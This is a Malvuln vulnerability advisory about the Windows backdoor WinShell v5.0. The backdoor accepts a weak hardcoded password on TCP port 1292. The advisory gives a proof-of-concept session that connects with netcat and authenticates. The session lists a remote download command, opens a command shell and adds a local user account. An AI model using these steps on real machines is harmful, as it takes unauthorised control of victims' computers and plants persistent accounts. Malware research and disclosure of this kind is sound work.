Backdoor.Win32.WinShell.50 / Weak Hardcoded Password

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.WinShell.50 Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 1292. Authentication is required for remote user access. However, the password "EliteKTHX" is weak and hardcoded within the executable. The PE file is protected by ExeStealth 275.a protector, after dumping the process the password is easily revealed. Type: PE32 MD5: 0faecbdfccf3144d487971ed47f3665c Vuln ID: MVID-2021-0415 Disclosure: 12/03/2021 Exploit/PoC: nc64.exe x.x.x.x 1292 Enter Your EWG 0wn4g3z KTHX:EliteKTHX WinShell v5.0 (C)2002 ? for help CMD>? i Install r Remove p Path b reBoot d shutDown s Shell x eXit q Quit Download: CMD>http://.../srv.exe ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\dump>whoami whoami desktop-2c3iqho\victim C:\dump>net user HYP3RLINX 666 /add net user HYP3RLINX 666 /add The command completed successfully. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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